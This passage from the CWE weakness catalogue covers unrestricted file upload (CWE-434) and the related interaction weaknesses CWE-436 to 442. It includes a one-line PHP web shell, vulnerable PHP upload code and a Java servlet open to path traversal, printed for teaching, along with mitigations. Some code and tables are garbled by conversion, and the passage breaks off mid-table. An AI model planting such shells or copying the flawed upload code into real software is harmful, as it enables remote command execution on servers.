// Define the target location where the picture being uploaded is going to be saved.
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
// Move the uploaded file to the new location.
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)) {
    echo "The picture has been successfully uploaded.";
} else {
    echo "There was an error uploading the picture, please try again.";
}
```

The problem with the above code is that there is no check regarding type of file being uploaded. Assuming that pictures/ is available in the web document root, an attacker could upload a file with the name:

```plaintext
malicious.php
```

Since this filename ends in ".php" it can be executed by the web server. In the contents of this uploaded file, the attacker could use:

PHP Example:

```php
<?php
    system($_GET['cmd']);
?
```

Once this file has been installed, the attacker can enter arbitrary commands to execute using a URL such as:

```plaintext
```

which runs the "ls -l" command - or any other type of command that the attacker wants to specify.

Example 2:
The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The HTML code is the same as in the previous example with the action attribute of the form sending the upload file request to the Java servlet instead of the PHP code.

HTML Example:

```html
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.
Java Example:

```java
public class FileUploadServlet extends HttpServlet {
    ... 
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ... 
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf(\"\), pLine.lastIndexOf(\"");
            ... 
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    bw.write(line);
                    bw.newLine();
                    bw.flush();
                }
            } //end of for loop
            bw.close();
            } catch (IOException ex) {...}
        // output successful upload response HTML page
        } 
        // output unsuccessful upload response HTML page 
        else 
        } 
        } 
    } 
}
```

As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0901</td>
<td>Web-based mail product stores &quot;.shtml&quot; attachments that could contain SSI</td>
</tr>
<tr>
<td>CVE-2002-1841</td>
<td>PHP upload does not restrict file types</td>
</tr>
<tr>
<td>CVE-2004-2262</td>
<td>improper type checking of uploaded files</td>
</tr>
<tr>
<td>CVE-2005-0254</td>
<td>program does not restrict file types</td>
</tr>
<tr>
<td>CVE-2005-1868</td>
<td>upload and execution of .php file</td>
</tr>
<tr>
<td>CVE-2005-1881</td>
<td>upload file with dangerous extension</td>
</tr>
<tr>
<td>CVE-2005-3288</td>
<td>ASP file upload</td>
</tr>
<tr>
<td>CVE-2006-2428</td>
<td>ASP file upload</td>
</tr>
<tr>
<td>CVE-2006-4558</td>
<td>Double &quot;php&quot; extension leaves an active php extension in the generated filename.</td>
</tr>
<tr>
<td>CVE-2006-6994</td>
<td>ASP program allows upload of .asp files by bypassing client-side checks</td>
</tr>
</tbody>
</table>

Potential Mitigations
Architecture and Design
   Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all. [R.434.1] [R.434.2]

Architecture and Design
   Enforcement by Conversion
   When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Architecture and Design
   Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [R.434.2]

Implementation
   Input Validation
   Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
   When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
   Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
   For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.

Architecture and Design
   Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.

Implementation
   Input Validation
   Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter. [R.434.1] [R.434.2]

Implementation
   When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.

Architecture and Design
   For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Implementation
   Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.

Implementation
   Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.
Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.434.4]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design
Operation
Sandbox or Jail
Limited
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.
The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)
This can be primary when there is no check at all.

Resultant (where the weakness is typically related to the presence of some other weaknesses)
This is frequently resultant when use of double extensions (e.g. ".php.gif") bypasses a sanity check.

This can be resultant from client-side enforcement (CWE-602); some products will include web script in web clients to check the filename, without verifying on the server side.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td></td>
<td>351</td>
<td>Insufficient Type Distinction</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>429</td>
<td>Handler Errors</td>
<td>699</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>430</td>
<td>Deployment of Wrong Handler</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>436</td>
<td>Interpretation Conflict</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>632</td>
<td>Weaknesses that Affect Files or Directories</td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>669</td>
<td>Incorrect Resource Transfer Between Spheres</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>714</td>
<td>OWASP Top Ten 2007 Category A3 - Malicious File Execution</td>
<td>629</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>801</td>
<td>2010 Top 25 - Insecure Interaction Between Components</td>
<td>800</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>813</td>
<td>OWASP Top Ten 2010 Category A4 - Insecure Direct Object References</td>
<td>809</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>864</td>
<td>2011 Top 25 - Insecure Interaction Between Components</td>
<td>900</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>73</td>
<td>External Control of File Name or Path</td>
<td>1000</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>183</td>
<td>Permissive Whitelist</td>
<td>1000</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>184</td>
<td>Incomplete Blacklist</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Relationship Notes
This can have a chaining relationship with incomplete blacklist / permissive whitelist errors when the product tries, but fails, to properly limit which types of files are allowed (CWE-183, CWE-184). This can also overlap multiple interpretation errors for intermediaries, e.g. anti-virus products that do not remove or quarantine attachments with certain file extensions that can be processed by client systems.

Research Gaps
PHP applications are most targeted, but this likely applies to other languages that support file upload, as well as non-web technologies. ASP applications have also demonstrated this problem.

Affected Resources
- File/Directory

Functional Areas
- File Processing

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Unrestricted File Upload</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A3</td>
<td>CWE More Specific</td>
<td>Malicious File Execution</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Accessing Functionality Not Properly Constrained by ACLs</td>
</tr>
<tr>
<td>122</td>
<td>Privilege Abuse</td>
</tr>
</tbody>
</table>

References
### CWE-436: Interpretation Conflict

**Weakness ID:** 436 *(Weakness Base)*  
**Status:** Incomplete

#### Description

**Summary**

Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B’s state.

**Extended Description**

This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that monitor, allow, deny, or modify traffic based on how the client or server is expected to behave.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

**Languages**

- Language-independent

#### Common Consequences

- Integrity
- Other
- Unexpected state
- Varies by context

#### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0485</td>
<td>Anti-virus product allows bypass via Content-Type and Content-Disposition headers that are mixed case, which are still processed by some clients.</td>
</tr>
<tr>
<td>CVE-2002-0637</td>
<td>Virus product bypass with spaces between MIME header fields and the &quot;:=&quot; separator, a non-standard message that is accepted by some clients.</td>
</tr>
</tbody>
</table>

---

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>2</td>
<td>Environment</td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>957</td>
<td>SFP Secondary Cluster: Protocol Error</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>188</td>
<td>Reliance on Data/Memory Layout</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>436</td>
<td>Interpretation Conflict</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>439</td>
<td>Behavioral Change in New Version or Environment</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>699</td>
<td>Development Concepts</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>733</td>
<td>Compiler Optimization Removal or Modification of Security-critical Code</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>1000</td>
<td>Research Concepts</td>
<td>1000</td>
</tr>
</tbody>
</table>

#### Relationship Notes

The "Interaction Error" term, in CWE and elsewhere, is only intended to describe products that behave according to specification. When one or more of the products do not comply with specifications, then it is more likely to be API Abuse (CWE-227) or an interpretation conflict (CWE-436). This distinction can be blurred in real world scenarios, especially when "de facto" standards do not comply with specifications, or when there are no standards but there is widespread adoption. As a result, it can be difficult to distinguish these weaknesses during mapping and classification.

#### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Interaction Errors</td>
</tr>
</tbody>
</table>

---
### Reference

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1777</td>
<td>AV product detection bypass using inconsistency manipulation (file extension in MIME Content-Type vs. Content-Disposition field).</td>
</tr>
<tr>
<td>CVE-2002-1978</td>
<td>FTP clients sending a command with &quot;PASV&quot; in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass.</td>
</tr>
<tr>
<td>CVE-2002-1979</td>
<td>FTP clients sending a command with &quot;PASV&quot; in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass.</td>
</tr>
<tr>
<td>CVE-2005-1215</td>
<td>Bypass filters or poison web cache using requests with multiple Content-Length headers, a non-standard behavior.</td>
</tr>
<tr>
<td>CVE-2005-3310</td>
<td>CMS system allows uploads of files with GIF/JPG extensions, but if they contain HTML, Internet Explorer renders them as HTML instead of images.</td>
</tr>
<tr>
<td>CVE-2005-4080</td>
<td>Interpretation conflict (non-standard behavior) enables XSS because browser ignores invalid characters in the middle of tags.</td>
</tr>
<tr>
<td>CVE-2005-4260</td>
<td>Interpretation conflict allows XSS via invalid &quot;&lt;&quot; when a &quot;&gt;&quot; is expected, which is treated as &quot;&gt;&quot; by many web browsers.</td>
</tr>
<tr>
<td></td>
<td>[R.436.2] White paper: showed that OSes varied widely in how they manage unusual packets, which made it difficult or impossible for intrusion detection systems to properly detect certain attacker manipulations that took advantage of these OS differences.</td>
</tr>
<tr>
<td></td>
<td>[R.436.4] &quot;poison null byte&quot; example - null characters have different interpretations in Perl and C, which have security consequences when Perl invokes C functions. Similar problems have been reported in ASP [R.436.3] and PHP.</td>
</tr>
</tbody>
</table>

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>435</td>
<td>Interaction Error</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>957</td>
<td>SFP Secondary Cluster: Protocol Error</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>86</td>
<td>Improper Neutralization of Invalid Characters in Identifiers in Web Pages</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>115</td>
<td>Misinterpretation of Input</td>
<td>699</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>351</td>
<td>Insufficient Type Distinction</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>437</td>
<td>Incomplete Model of Endpoint Features</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>444</td>
<td>Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>626</td>
<td>Null Byte Interaction Error (Poison Null Byte)</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>650</td>
<td>Trusting HTTP Permission Methods on the Server Side</td>
<td>699</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Multiple Interpretation Error (MIE)</td>
<td></td>
</tr>
<tr>
<td>WASC</td>
<td>27</td>
<td>HTTP Response Smuggling</td>
</tr>
</tbody>
</table>

### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>33</td>
<td>HTTP Request Smuggling</td>
<td></td>
</tr>
<tr>
<td>105</td>
<td>HTTP Request Splitting</td>
<td></td>
</tr>
<tr>
<td>273</td>
<td>HTTP Response Smuggling</td>
<td></td>
</tr>
</tbody>
</table>

### References

CWE-437: Incomplete Model of Endpoint Features

Weakness ID: 437 (Weakness Base) Status: Incomplete

Description

Summary
A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Integrity

Other

Unexpected state

Varies by context

Demonstrative Examples

Example 1:
HTTP request smuggling is an attack against an intermediary such as a proxy. This attack works because the proxy expects the client to parse HTTP headers one way, but the client parses them differently.

Example 2:
Anti-virus products that reside on mail servers can suffer from this issue if they do not know how a mail client will handle a particular attachment. The product might treat an attachment type as safe, not knowing that the client's configuration treats it as executable.

Relationships

Nature Type ID Name
ChildOf 436 Interpretation Conflict 699 751
ChildOf 957 SFP Secondary Cluster: Protocol Error 1000 1379

Relationship Notes
This can be related to interaction errors, although in some cases, one of the endpoints is not performing correctly according to specification.

Taxonomy Mappings

PLOVER Extra Unhandled Features

CWE-438: Behavioral Problems

Category ID: 438 (Category) Status: Draft

Description

Summary
Weaknesses in this category are related to unexpected behaviors from code that an application uses.

Relationships


CWE Version 2.11
CWE-439: Behavioral Change in New Version or Environment

### CWE-439: Behavioral Change in New Version or Environment

**Description**

**Summary**

A's behavior or functionality changes with a new version of A, or a new environment, which is not known (or manageable) by B.

**Alternate Terms**

Functional change

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

Languages

- All

**Common Consequences**

Other

Quality degradation

Varies by context

**Observed Examples**

**Reference** | **Description**
---|---
CVE-2002-1976 | Linux kernel 2.2 and above allow promiscuous mode using a different method than previous versions, and ifconfig is not aware of the new method (alternate path property). Chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where file type handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the file type "text".
CVE-2003-0411 | Product uses defunct method from another product that does not return an error code and allows detection avoidance.
CVE-2005-1711 | A's behavior or functionality changes with a new version of A, or a new environment, which is not known (or manageable) by B.

**Relationships**

**Nature** | **Type** | **ID** | **Name** | **Page**
---|---|---|---|---
ParentOf | ☐ | 439 | Behavioral Change in New Version or Environment | 699 754
ParentOf | ☐ | 440 | Expected Behavior Violation | 699 754
MemberOf | ☐ | 699 | Development Concepts | 699 1083
ParentOf | ☐ | 799 | Improper Control of Interaction Frequency | 699 1229
ParentOf | ☐ | 841 | Improper Enforcement of Behavioral Workflow | 699 1288

**Taxonomy Mappings**

**Mapped Taxonomy Name** | **Mapped Node Name**
---|---
PLOVER | Behavioral problems

---

CWE-440: Expected Behavior Violation

**Weakness ID:** 440 *(Weakness Base)*

**Description**

**Summary**

---

754
A feature, API, or function being used by a product behaves differently than the product expects.

**Time of Introduction**
- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Quality degradation
  - Varies by context

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0187</td>
<td>Inconsistency in support of linked lists causes program to use large timeouts on &quot;undeserving&quot; connections.</td>
</tr>
<tr>
<td>CVE-2003-0465</td>
<td>&quot;strncpy&quot; in Linux kernel acts different than libc on x86, leading to expected behavior difference - sort of a multiple interpretation error?</td>
</tr>
<tr>
<td>CVE-2005-3265</td>
<td>Buffer overflow in product stems to the use of a third party library function that is expected to have internal protection against overflows, but doesn't.</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>⬤</td>
<td>438</td>
<td>Behavioral Problems</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬤</td>
<td>684</td>
<td>Incorrect Provision of Specified Functionality</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬤</td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td></td>
<td>888</td>
</tr>
</tbody>
</table>

**Theoretical Notes**

The consistency dimension of validity is the most appropriate relevant property of an expected behavior violation. That is, the behavior of the application is not consistent with the expectations of the developer, leading to a violation of the validity property of the software.

**Relevant Properties**
- Validity

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Expected behavior violation</td>
</tr>
</tbody>
</table>

**CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')**

**Weakness ID:** 441 *(Weakness Class)*  
**Status:** Draft

**Description**

**Summary**

The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

**Extended Description**

If an attacker cannot directly contact a target, but the software has access to the target, then the attacker can send a request to the software and have it be forwarded from the target. The request would appear to be coming from the software's system, not the attacker's system. As a result, the attacker can bypass access controls (such as firewalls) or hide the source of malicious requests, since the requests would not be coming directly from the attacker.
Since proxy functionality and message-forwarding often serve a legitimate purpose, this issue only becomes a vulnerability when:
The software runs with different privileges or on a different system, or otherwise has different levels of access than the upstream component;
The attacker is prevented from making the request directly to the target; and
The attacker can create a request that the proxy does not explicitly intend to be forwarded on the behalf of the requester. Such a request might point to an unexpected hostname, port number, or service. Or, the request might be sent to an allowed service, but the request could contain disallowed directives, commands, or resources.

Alternate Terms
Confused Deputy
This weakness is sometimes referred to as the "Confused deputy" problem, in which an attacker misused the authority of one victim (the "confused deputy") when targeting another victim.

Time of Introduction
• Architecture and Design

Applicable Platforms
Languages
• Language-independent

Common Consequences
Non-Repudiation
Access Control
Gain privileges / assume identity
Hide activities

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0017</td>
<td>FTP bounce attack. The design of the protocol allows an attacker to modify the PORT command to cause the FTP server to connect to other machines besides the attacker's.</td>
</tr>
<tr>
<td>CVE-1999-0168</td>
<td>RPC portmapper could redirect service requests from an attacker to another entity, which thinks the requests came from the portmapper.</td>
</tr>
<tr>
<td>CVE-2001-1484</td>
<td>Bounce attack allows access to TFTP from trusted side.</td>
</tr>
<tr>
<td>CVE-2002-1484</td>
<td>Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning.</td>
</tr>
<tr>
<td>CVE-2004-2061</td>
<td>CGI script accepts and retrieves incoming URLs.</td>
</tr>
<tr>
<td>CVE-2005-0315</td>
<td>FTP server does not ensure that the IP address in a PORT command is the same as the FTP user's session, allowing port scanning by proxy.</td>
</tr>
<tr>
<td>CVE-2009-0037</td>
<td>URL-downloading library automatically follows redirects to file:// and scp:// URLs</td>
</tr>
<tr>
<td>CVE-2010-1637</td>
<td>Web-based mail program allows internal network scanning using a modified POP3 port number.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Architecture and Design
Enforce the use of strong mutual authentication mechanism between the two parties.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>CVE</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>610</td>
<td>Externally Controlled Reference to a Resource in Another Sphere</td>
<td>699</td>
<td>959</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>CanPrecede</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000</td>
<td>1037</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>956</td>
<td>SFP Secondary Cluster: Channel Attack</td>
<td>888</td>
<td>1378</td>
</tr>
<tr>
<td>RequiredBy</td>
<td></td>
<td>352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>1000</td>
<td>612</td>
</tr>
<tr>
<td>RequiredBy</td>
<td></td>
<td>384</td>
<td>Session Fixation</td>
<td>1000</td>
<td>665</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>611</td>
<td>Improper Restriction of XML External Entity Reference ('XXE')</td>
<td>1000</td>
<td>960</td>
</tr>
<tr>
<td></td>
<td>ParentOf</td>
<td>918</td>
<td>Server-Side Request Forgery (SSRF)</td>
<td>699</td>
<td>1349</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
<td></td>
</tr>
</tbody>
</table>
Relationship Notes
This weakness has a chaining relationship with CWE-668 (Exposure of Resource to Wrong Sphere) because the proxy effectively provides the attacker with access to the target's resources that the attacker cannot directly obtain.

Theoretical Notes
It could be argued that the "confused deputy" is a fundamental aspect of most vulnerabilities that require an active attacker. Even for common implementation issues such as buffer overflows, SQL injection, OS command injection, and path traversal, the vulnerable program already has the authorization to run code or access files. The vulnerability arises when the attacker causes the program to run unexpected code or access unexpected files.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Unintended proxy/intermediary</td>
</tr>
<tr>
<td>PLOVER</td>
<td></td>
<td>Proxied Trusted Channel</td>
</tr>
<tr>
<td>WASC</td>
<td>32</td>
<td>Routing Detour</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>141</td>
<td>Cache Poisoning</td>
<td></td>
</tr>
<tr>
<td>142</td>
<td>DNS Cache Poisoning</td>
<td></td>
</tr>
<tr>
<td>219</td>
<td>XML Routing Detour Attacks</td>
<td></td>
</tr>
<tr>
<td>465</td>
<td>Transparent Proxy Abuse</td>
<td></td>
</tr>
</tbody>
</table>

References

Maintenance Notes
This could possibly be considered as an emergent resource.

CWE-442: Web Problems

Category ID: 442 (Category)  Status: Draft

Description

Summary
Weaknesses in this category are related to World Wide Web technology.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>699 131</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>113</td>
<td>Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')</td>
<td>699 211</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>699 612</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>425</td>
<td>Direct Request ('Forced Browsing')</td>
<td>699 729</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>444</td>
<td>Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')</td>
<td>699 758</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>601</td>
<td>URL Redirection to Untrusted Site ('Open Redirect')</td>
<td>699 944</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>611</td>
<td>Improper Restriction of XML External Entity Reference ('XXE')</td>
<td>699 960</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>614</td>
<td>Sensitive Cookie in HTTPS Session Without 'Secure' Attribute</td>
<td>699 963</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>644</td>
<td>Improper Neutralization of HTTP Headers for Scripting Syntax</td>
<td>699 1001</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>646</td>
<td>Reliance on File Name or Extension of Externally-Supplied File</td>
<td>699 1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>647</td>
<td>Use of Non-Canonical URL Paths for Authorization Decisions</td>
<td>699 1004</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>699</td>
<td>Development Concepts</td>
<td>699 1083</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>776</td>
